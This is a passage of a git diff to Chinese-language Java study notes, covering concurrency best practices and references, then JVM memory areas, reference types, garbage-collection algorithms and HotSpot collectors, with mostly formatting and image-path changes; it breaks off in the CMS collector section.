+- 缩小同步范围，从而减少锁争用。例如对于 synchronized，应该尽量使用同步块而不是同步方法。
 
-- 多用同步工具少用 wait() 和 notify()。首先，CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现复杂控制流；其次，这些同步类是由最好的企业编写和维护，在后续的 JDK 中还会不断优化和完善。
+- 多用同步工具少用 wait() 和 notify()。首先，CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现复杂控制流；其次，这些同步类是由最好的企业编写和维护，在后续的 JDK 中还会不断优化和完善。
 
-- 使用 BlockingQueue 实现生产者消费者问题。
+- 使用 BlockingQueue 实现生产者消费者问题。
 
-- 多用并发集合少用同步集合，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
+- 多用并发集合少用同步集合，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
 
-- 使用本地变量和不可变类来保证线程安全。
+- 使用本地变量和不可变类来保证线程安全。
 
-- 使用线程池而不是直接创建线程，这是因为创建线程代价很高，线程池可以有效地利用有限的线程来启动任务。
+- 使用线程池而不是直接创建线程，这是因为创建线程代价很高，线程池可以有效地利用有限的线程来启动任务。
 
-# 参考资料
+# 参考资料
 
-- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
-- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
-- [Threads and Locks](https://docs.oracle.com/javase/specs/jvms/se6/html/Threads.doc.html)
-- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
-- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
-- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
-- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
-- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
-- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
-- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)
-- [How is Java's ThreadLocal implemented under the hood?](https://stackoverflow.com/questions/1202444/how-is-javas-threadlocal-implemented-under-the-hood/15653015)
-- [Concurrent](https://sites.google.com/site/webdevelopart/21-compile/06-java/javase/concurrent?tmpl=%2Fsystem%2Fapp%2Ftemplates%2Fprint%2F&showPrintDialog=1)
-- [JAVA FORK JOIN EXAMPLE](http://www.javacreed.com/java-fork-join-example/ "Java Fork Join Example")
-- [聊聊并发（八）——Fork/Join 框架介绍](http://ifeve.com/talk-concurrency-forkjoin/)
-- [Eliminating SynchronizationRelated Atomic Operations with Biased Locking and Bulk Rebiasing](http://www.oracle.com/technetwork/java/javase/tech/biasedlocking-oopsla2006-preso-150106.pdf)
+- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
+- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
+- [Threads and Locks](https://docs.oracle.com/javase/specs/jvms/se6/html/Threads.doc.html)
+- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
+- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
+- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
+- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
+- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
+- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
+- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)
+- [How is Java's ThreadLocal implemented under the hood?](https://stackoverflow.com/questions/1202444/how-is-javas-threadlocal-implemented-under-the-hood/15653015)
+- [Concurrent](https://sites.google.com/site/webdevelopart/21-compile/06-java/javase/concurrent?tmpl=%2Fsystem%2Fapp%2Ftemplates%2Fprint%2F&showPrintDialog=1)
+- [JAVA FORK JOIN EXAMPLE](http://www.javacreed.com/java-fork-join-example/ "Java Fork Join Example")
+- [聊聊并发（八）——Fork/Join 框架介绍](http://ifeve.com/talk-concurrency-forkjoin/)
+- [Eliminating SynchronizationRelated Atomic Operations with Biased Locking and Bulk Rebiasing](http://www.oracle.com/technetwork/java/javase/tech/biasedlocking-oopsla2006-preso-150106.pdf)
+---bottom---CyC---
+![](index_files/ace830df-9919-48ca-91b5-60b193f593d2.png)
+![](index_files/CountdownLatch.png)
+![](index_files/CyclicBarrier.png)
+![](index_files/Semaphore.png)
+![](index_files/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg)
+![](index_files/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png)
+![](index_files/47358f87-bc4c-496f-9a90-8d696de94cee.png)
+![](index_files/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png)
+![](index_files/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png)
+![](index_files/952afa9a-458b-44ce-bba9-463e60162945.png)
+![](index_files/single-thread-rule.png)
+![](index_files/monitor-lock-rule.png)
+![](index_files/volatile-variable-rule.png)
+![](index_files/thread-start-rule.png)
+![](index_files/thread-join-rule.png)
+![](index_files/3646544a-cb57-451d-9e03-d3c4f5e4434a.png)
+![](index_files/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png)
+![](index_files/051e436c-0e46-4c59-8f67-52d89d656182.png)
+![](index_files/baaa681f-7c52-4198-a5ae-303b9386cf47.png)
+![](index_files/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index 3eb14f67..c799879a 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,148 +1,117 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、运行时数据区域](#一运行时数据区域)
-    * [程序计数器](#程序计数器)
-    * [Java 虚拟机栈](#java-虚拟机栈)
-    * [本地方法栈](#本地方法栈)
-    * [堆](#堆)
-    * [方法区](#方法区)
-    * [运行时常量池](#运行时常量池)
-    * [直接内存](#直接内存)
-* [二、垃圾收集](#二垃圾收集)
-    * [判断一个对象是否可被回收](#判断一个对象是否可被回收)
-    * [引用类型](#引用类型)
-    * [垃圾收集算法](#垃圾收集算法)
-    * [垃圾收集器](#垃圾收集器)
-* [三、内存分配与回收策略](#三内存分配与回收策略)
-    * [Minor GC 和 Full GC](#minor-gc-和-full-gc)
-    * [内存分配策略](#内存分配策略)
-    * [Full GC 的触发条件](#full-gc-的触发条件)
-* [四、类加载机制](#四类加载机制)
-    * [类的生命周期](#类的生命周期)
-    * [类加载过程](#类加载过程)
-    * [类初始化时机](#类初始化时机)
-    * [类与类加载器](#类与类加载器)
-    * [类加载器分类](#类加载器分类)
-    * [双亲委派模型](#双亲委派模型)
-    * [自定义类加载器实现](#自定义类加载器实现)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、运行时数据区域
 
+<img src="index_files/ab701824-e308-4284-88b6-596cc606fadb.png" width="450"/>
 
-# 一、运行时数据区域
-
-<div align="center"> <img src="pics/ab701824-e308-4284-88b6-596cc606fadb.png" width="450"/> </div><br>
-
-## 程序计数器
+## 程序计数器
 
 记录正在执行的虚拟机字节码指令的地址（如果正在执行的是本地方法则为空）。
 
-## Java 虚拟机栈
+## Java 虚拟机栈
 
-每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
+每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
 
-<div align="center"> <img src="pics/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/> </div><br>
+<img src="index_files/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/>
 
-可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
+可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
 
 ```java
-java -Xss512M HackTheJava
+java -Xss512M HackTheJava
 ```
 
 该区域可能抛出以下异常：
 
-- 当线程请求的栈深度超过最大值，会抛出 StackOverflowError 异常；
-- 栈进行动态扩展时如果无法申请到足够内存，会抛出 OutOfMemoryError 异常。
+- 当线程请求的栈深度超过最大值，会抛出 StackOverflowError 异常；
+- 栈进行动态扩展时如果无法申请到足够内存，会抛出 OutOfMemoryError 异常。
 
-## 本地方法栈
+## 本地方法栈
 
-本地方法栈与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
+本地方法栈与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
 
-本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。
+本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。
 
-<div align="center"> <img src="pics/JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
+<img src="index_files/JNI-Java-Native-Interface.jpg" width="350"/>
 
-## 堆
+## 堆
 
-所有对象都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
+所有对象都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
 
 现代的垃圾收集器基本都是采用分代收集算法，其主要的思想是针对不同类型的对象采取不同的垃圾回收算法。可以将堆分成两块：
 
-- 新生代（Young Generation）
-- 老年代（Old Generation）
+- 新生代（Young Generation）
+- 老年代（Old Generation）
 
-堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
+堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
 
-可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
+可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
 
 ```java
-java -Xms1M -Xmx2M HackTheJava
+java -Xms1M -Xmx2M HackTheJava
 ```
 
-## 方法区
+## 方法区
 
 用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
 
-和堆一样不需要连续的内存，并且可以动态扩展，动态扩展失败一样会抛出 OutOfMemoryError 异常。
+和堆一样不需要连续的内存，并且可以动态扩展，动态扩展失败一样会抛出 OutOfMemoryError 异常。
 
 对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载，但是一般比较难实现。
 
-HotSpot 虚拟机把它当成永久代来进行垃圾回收。但很难确定永久代的大小，因为它受到很多因素影响，并且每次 Full GC 之后永久代的大小都会改变，所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区，从 JDK 1.8 开始，移除永久代，并把方法区移至元空间，它位于本地内存中，而不是虚拟机内存中。
+HotSpot 虚拟机把它当成永久代来进行垃圾回收。但很难确定永久代的大小，因为它受到很多因素影响，并且每次 Full GC 之后永久代的大小都会改变，所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区，从 JDK 1.8 开始，移除永久代，并把方法区移至元空间，它位于本地内存中，而不是虚拟机内存中。
 
-## 运行时常量池
+## 运行时常量池
 
 运行时常量池是方法区的一部分。
 
-Class 文件中的常量池（编译器生成的字面量和符号引用）会在类加载后被放入这个区域。
+Class 文件中的常量池（编译器生成的字面量和符号引用）会在类加载后被放入这个区域。
 
-除了在编译期生成的常量，还允许动态生成，例如 String 类的 intern()。
+除了在编译期生成的常量，还允许动态生成，例如 String 类的 intern()。
 
-## 直接内存
+## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
 
-# 二、垃圾收集
+# 二、垃圾收集
 
 垃圾收集主要是针对堆和方法区进行。
 
 程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的，只存在于线程的生命周期内，线程结束之后也会消失，因此不需要对这三个区域进行垃圾回收。
 
-## 判断一个对象是否可被回收
+## 判断一个对象是否可被回收
 
-### 1. 引用计数算法
+### 1. 引用计数算法
 
-为对象添加一个引用计数器，当对象增加一个引用时计数器加 1，引用失效时计数器减 1。引用计数为 0 的对象可被回收。
+为对象添加一个引用计数器，当对象增加一个引用时计数器加 1，引用失效时计数器减 1。引用计数为 0 的对象可被回收。
 
-两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
+两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
 
 ```java
-public class ReferenceCountingGC {
+public class ReferenceCountingGC {
 
-    public Object instance = null;
+    public Object instance = null;
 
-    public static void main(String[] args) {
-        ReferenceCountingGC objectA = new ReferenceCountingGC();
-        ReferenceCountingGC objectB = new ReferenceCountingGC();
-        objectA.instance = objectB;
-        objectB.instance = objectA;
-    }
+    public static void main(String[] args) {
+        ReferenceCountingGC objectA = new ReferenceCountingGC();
+        ReferenceCountingGC objectB = new ReferenceCountingGC();
+        objectA.instance = objectB;
+        objectB.instance = objectA;
+    }
 }
 ```
 
-### 2. 可达性分析算法
+### 2. 可达性分析算法
 
-通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
+通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
 
-Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC Roots 一般包含以下内容：
+Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC Roots 一般包含以下内容：
 
-- 虚拟机栈中局部变量表中引用的对象
-- 本地方法栈中 JNI 中引用的对象
-- 方法区中类静态属性引用的对象
-- 方法区中的常量引用的对象
+- 虚拟机栈中局部变量表中引用的对象
+- 本地方法栈中 JNI 中引用的对象
+- 方法区中类静态属性引用的对象
+- 方法区中的常量引用的对象
 
-<div align="center"> <img src="pics/0635cbe8.png" width=""/> </div><br>
+<img src="index_files/0635cbe8.png" width=""/>
 
-### 3. 方法区的回收
+### 3. 方法区的回收
 
 因为方法区主要存放永久代对象，而永久代对象的回收率比新生代低很多，因此在方法区上进行回收性价比不高。
 
@@ -152,585 +121,604 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 
 类的卸载条件很多，需要满足以下三个条件，但是满足了也不一定会被卸载：
 
-- 该类所有的实例都已经被回收，此时堆中不存在该类的任何实例。
-- 加载该类的 ClassLoader 已经被回收。
-- 该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
+- 该类所有的实例都已经被回收，此时堆中不存在该类的任何实例。
+- 加载该类的 ClassLoader 已经被回收。
+- 该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
 
-### 4. finalize()
+### 4. finalize()
 
-finalize() 类似 C++ 的析构函数，用于关闭外部资源。但是 try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
+finalize() 类似 C++ 的析构函数，用于关闭外部资源。但是 try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
 
-当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法。
+当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法。
 
-## 引用类型
+## 引用类型
 
 无论是通过引用计数算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
 
-Java 提供了四种强度不同的引用类型。
+Java 提供了四种强度不同的引用类型。
 
-### 1. 强引用
+### 1. 强引用
 
 被强引用关联的对象不会被回收。
 
-使用 new 一个新对象的方式来创建强引用。
+使用 new 一个新对象的方式来创建强引用。
 
 ```java
-Object obj = new Object();
+Object obj = new Object();
 ```
 
-### 2. 软引用
+### 2. 软引用
 
 被软引用关联的对象只有在内存不够的情况下才会被回收。
 
-使用 SoftReference 类来创建软引用。
+使用 SoftReference 类来创建软引用。
 
 ```java
-Object obj = new Object();
-SoftReference<Object> sf = new SoftReference<Object>(obj);
-obj = null;  // 使对象只被软引用关联
+Object obj = new Object();
+SoftReference<Object> sf = new SoftReference<Object>(obj);
+obj = null;  // 使对象只被软引用关联
 ```
 
-### 3. 弱引用
+### 3. 弱引用
 
 被弱引用关联的对象一定会被回收，也就是说它只能存活到下一次垃圾回收发生之前。
 
-使用 WeakReference 类来实现弱引用。
+使用 WeakReference 类来实现弱引用。
 
 ```java
-Object obj = new Object();
-WeakReference<Object> wf = new WeakReference<Object>(obj);
-obj = null;
+Object obj = new Object();
+WeakReference<Object> wf = new WeakReference<Object>(obj);
+obj = null;
 ```
 
-### 4. 虚引用
+### 4. 虚引用
 
 又称为幽灵引用或者幻影引用，一个对象是否有虚引用的存在，不会对其生存时间造成影响，也无法通过虚引用得到一个对象。
 
 为一个对象设置虚引用的唯一目的是能在这个对象被回收时收到一个系统通知。
 
-使用 PhantomReference 来实现虚引用。
+使用 PhantomReference 来实现虚引用。
 
 ```java
-Object obj = new Object();
-PhantomReference<Object> pf = new PhantomReference<Object>(obj);
-obj = null;
+Object obj = new Object();
+PhantomReference<Object> pf = new PhantomReference<Object>(obj);
+obj = null;
 ```
 
-## 垃圾收集算法
+## 垃圾收集算法
 
-### 1. 标记 - 清除
+### 1. 标记 - 清除
 
-<div align="center"> <img src="pics/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
+<img src="index_files/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/>
 
 标记要回收的对象，然后清除。
 
 不足：
 
-- 标记和清除过程效率都不高；
-- 会产生大量不连续的内存碎片，导致无法给大对象分配内存。
+- 标记和清除过程效率都不高；
+- 会产生大量不连续的内存碎片，导致无法给大对象分配内存。
 
-### 2. 标记 - 整理
+### 2. 标记 - 整理
 
-<div align="center"> <img src="pics/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
+<img src="index_files/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/>
 
 让所有存活的对象都向一端移动，然后直接清理掉端边界以外的内存。
 
-### 3. 复制
+### 3. 复制
 
-<div align="center"> <img src="pics/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
+<img src="index_files/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/>
 
 将内存划分为大小相等的两块，每次只使用其中一块，当这一块内存用完了就将还存活的对象复制到另一块上面，然后再把使用过的内存空间进行一次清理。
 
 主要不足是只使用了内存的一半。
 
-现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
+现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
 
-HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
+HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
 
-### 4. 分代收集
+### 4. 分代收集
 
 现在的商业虚拟机采用分代收集算法，它根据对象存活周期将内存划分为几块，不同块采用适当的收集算法。
 
 一般将堆分为新生代和老年代。
 
-- 新生代使用：复制算法
-- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
+- 新生代使用：复制算法
+- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
 
-## 垃圾收集器
+## 垃圾收集器
 
-<div align="center"> <img src="pics/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
+<img src="index_files/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/>
 
-以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
+以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
 
-- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
-- 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
+- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
+- 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
 
-### 1. Serial 收集器
+### 1. Serial 收集器
 
-<div align="center"> <img src="pics/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
+<img src="index_files/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/>
 
-Serial 翻译为串行，也就是说它以串行的方式执行。
+Serial 翻译为串行，也就是说它以串行的方式执行。
 
 它是单线程的收集器，只会使用一个线程进行垃圾收集工作。
 
-它的优点是简单高效，对于单个 CPU 环境来说，由于没有线程交互的开销，因此拥有最高的单线程收集效率。
+它的优点是简单高效，对于单个 CPU 环境来说，由于没有线程交互的开销，因此拥有最高的单线程收集效率。
 
-它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿是可以接受的。
+它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿是可以接受的。
 
-### 2. ParNew 收集器
+### 2. ParNew 收集器
 
-<div align="center"> <img src="pics/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
+<img src="index_files/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/>
 
-它是 Serial 收集器的多线程版本。
+它是 Serial 收集器的多线程版本。
 
-是 Server 模式下首选的新生代收集器，除了性能原因外，主要是因为除了 Serial 收集器，只有它能与 CMS 收集器配合工作。
+是 Server 模式下首选的新生代收集器，除了性能原因外，主要是因为除了 Serial 收集器，只有它能与 CMS 收集器配合工作。
 
-默认开启的线程数量与 CPU 数量相同，可以使用 -XX:ParallelGCThreads 参数来设置线程数。
+默认开启的线程数量与 CPU 数量相同，可以使用 -XX:ParallelGCThreads 参数来设置线程数。
 
-### 3. Parallel Scavenge 收集器
+### 3. Parallel Scavenge 收集器
 
-与 ParNew 一样是多线程收集器。
+与 ParNew 一样是多线程收集器。
 
-其它收集器目标是尽可能缩短垃圾收集时用户线程的停顿时间，而它的目标是达到一个可控制的吞吐量，因此它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户程序的时间占总时间的比值。
+其它收集器目标是尽可能缩短垃圾收集时用户线程的停顿时间，而它的目标是达到一个可控制的吞吐量，因此它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户程序的时间占总时间的比值。
 
-停顿时间越短就越适合需要与用户交互的程序，良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间，尽快完成程序的运算任务，适合在后台运算而不需要太多交互的任务。
+停顿时间越短就越适合需要与用户交互的程序，良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间，尽快完成程序的运算任务，适合在后台运算而不需要太多交互的任务。
 
 缩短停顿时间是以牺牲吞吐量和新生代空间来换取的：新生代空间变小，垃圾回收变得频繁，导致吞吐量下降。
 
-可以通过一个开关参数打开 GC 自适应的调节策略（GC Ergonomics），就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
+可以通过一个开关参数打开 GC 自适应的调节策略（GC Ergonomics），就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
 
-### 4. Serial Old 收集器
+### 4. Serial Old 收集器
 
-<div align="center"> <img src="pics/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
+<img src="index_files/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/>
 
-是 Serial 收集器的老年代版本，也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下，它有两大用途：
+是 Serial 收集器的老年代版本，也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下，它有两大用途：
 
-- 在 JDK 1.5 以及之前版本（Parallel Old 诞生以前）中与 Parallel Scavenge 收集器搭配使用。
-- 作为 CMS 收集器的后备预案，在并发收集发生 Concurrent Mode Failure 时使用。
+- 在 JDK 1.5 以及之前版本（Parallel Old 诞生以前）中与 Parallel Scavenge 收集器搭配使用。
+- 作为 CMS 收集器的后备预案，在并发收集发生 Concurrent Mode Failure 时使用。
 
-### 5. Parallel Old 收集器
+### 5. Parallel Old 收集器
 
-<div align="center"> <img src="pics/278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
+<img src="index_files/278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/>
 
-是 Parallel Scavenge 收集器的老年代版本。
+是 Parallel Scavenge 收集器的老年代版本。
 
-在注重吞吐量以及 CPU 资源敏感的场合，都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
+在注重吞吐量以及 CPU 资源敏感的场合，都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
 
-### 6. CMS 收集器
+### 6. CMS 收集器
 
-<div align="center"> <img src="pics/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
+<img src="index_files/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/>
 
-CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
+CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
 
 分为以下四个流程：
 
-- 初始标记：仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快，需要停顿。
-- 并发标记：进行 GC Roots Tracing 的过程，它在整个回收过程中耗时最长，不需要停顿。
-- 重新标记：为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录，需要停顿。
-- 并发清除：不需要停顿。
+- 初始标记：仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快，需要停顿。
+- 并发标记：进行 GC Roots Tracing 的过程，它在整个回收过程中耗时最长，不需要停顿。
+- 重新标记：为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录，需要停顿。
+- 并发清除：不需要停顿。
 
 在整个过程中耗时最长的并发标记和并发清除过程中，收集器线程都可以与用户线程一起工作，不需要进行停顿。
 
 具有以下缺点：
 
-- 吞吐量低：低停顿时间是以牺牲吞吐量为代价的，导致 CPU 利用率不够高。
-- 无法处理浮动垃圾，可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾，这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在，因此需要预留出一部分内存，意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾，就会出现 Concurrent Mode Failure，这时虚拟机将临时启用 Serial Old 来替代 CMS。
-- 标记 - 清除算法导致的空间碎片，往往出现老年代空间剩余，但无法找到足够大连续空间来分配当前对象，不得不提前触发一次 Full GC。
+- 吞吐量低：低停顿时间是以牺牲吞吐量为代价的，导致 CPU 利用率不够高。
